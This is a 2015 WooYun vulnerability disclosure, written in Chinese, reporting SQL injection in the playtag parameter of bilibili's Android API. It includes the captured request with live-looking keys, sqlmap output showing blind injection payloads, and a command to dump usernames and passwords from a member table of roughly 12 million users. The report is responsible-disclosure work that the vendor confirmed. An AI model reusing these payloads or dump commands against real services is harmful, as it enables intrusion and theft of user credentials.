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缺陷编号:wooyun-2015-0131032

漏洞标题:App安全之bilibili客户端存在sql注入(影响千万用户安全)

相关厂商:bilibili.com

漏洞作者: 郭斯特

提交时间:2015-08-02 11:51

修复时间:2015-10-31 13:08

公开时间:2015-10-31 13:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-08-02: 细节已通知厂商并且等待厂商处理中
2015-08-02: 厂商已经确认,细节仅向厂商公开
2015-08-05: 细节向第三方安全合作伙伴开放
2015-09-26: 细节向核心白帽子及相关领域专家公开
2015-10-06: 细节向普通白帽子公开
2015-10-16: 细节向实习白帽子公开
2015-10-31: 细节向公众公开

简要描述:

rt

详细说明:

bilibili的注入真难找呀...
手机代理burp抓包
GET /search_recommend?_device=android&_hwid=3029927d46659793&_ulv=5000&access_key=76b5b9bdfe34bb8e2a809ba718ac5c6e&appkey=c1b107428d337928&main_ver=v2&platform=android&playtag=2634430&recommend_type=related_post&rindex=1&sign=8ec7f03f380c8a0e289698cb4e75985f HTTP/1.1
Host: api.bilibili.com
User-Agent: undefined
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: pgv_pvi=8880050176; fts=1532673349684; sid=d7qjzulp; PLHistory=9bRb%7Cn kQo; DedeID=2190533
Connection: keep-alive
存在问题的地址
http://api.bilibili.com/search_recommend?_device=android&_hwid=3029927d46659793&_ulv=5000&access_key=76b5b9bdfe34bb8e2a809ba718ac5c6e&appkey=c1b107428d337928&main_ver=v2&platform=android&playtag=2634430&recommend_type=related_post&rindex=1&sign=8ec7f03f380c8a0e289698cb4e75985f
send to sqlmap
C:\Users\bin\Desktop\win7\burpsuite_pro\burpsuite_pro_v1.5.18>sqlmap.py -r C:\Us
ers\bin\AppData\Local\Temp\\1438479437091.req --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 09:46:32
[09:46:32] [INFO] parsing HTTP request from 'C:\Users\bin\AppData\Local\Temp\\14
38479437091.req'
[09:46:32] [INFO] resuming back-end DBMS 'mysql'
[09:46:32] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: playtag
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: _device=android&_hwid=3029927d46659793&_ulv=5000&access_key=76b5b9b
dfe34bb8e2a809ba718ac5c6e&appkey=c1b107428d337928&main_ver=v2&platform=android&p
laytag=2634430 AND 8650=8650&recommend_type=related_post&rindex=1&sign=8ec7f03f3
80c8a0e289698cb4e75985f
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: _device=android&_hwid=3029927d46659793&_ulv=5000&access_key=76b5b9b
dfe34bb8e2a809ba718ac5c6e&appkey=c1b107428d337928&main_ver=v2&platform=android&p
laytag=2634430 AND SLEEP(5)&recommend_type=related_post&rindex=1&sign=8ec7f03f38
0c8a0e289698cb4e75985f
---
[09:46:32] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[09:46:32] [INFO] fetching current database
[09:46:32] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[09:46:32] [INFO] retrieved:
[09:46:34] [WARNING] reflective value(s) found and filtering out
bilibili
current database: 'bilibili'
[09:47:04] [INFO] fetched data logged to text files under 'C:\Users\bin\Desktop\
win7\burpsuite_pro\burpsuite_pro_v1.5.18\output\api.bilibili.com'
跑账户密码
-D bilibili -T dede_member -C username,pwd --dump
测试的时候是存在12372246位用户的。
网速卡不跑了
上张图

漏洞证明:

wooyun.PNG

修复方案:

参数playtag

版权声明:转载请注明来源 郭斯特@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-08-02 13:07

厂商回复:

谢谢

最新状态:

暂无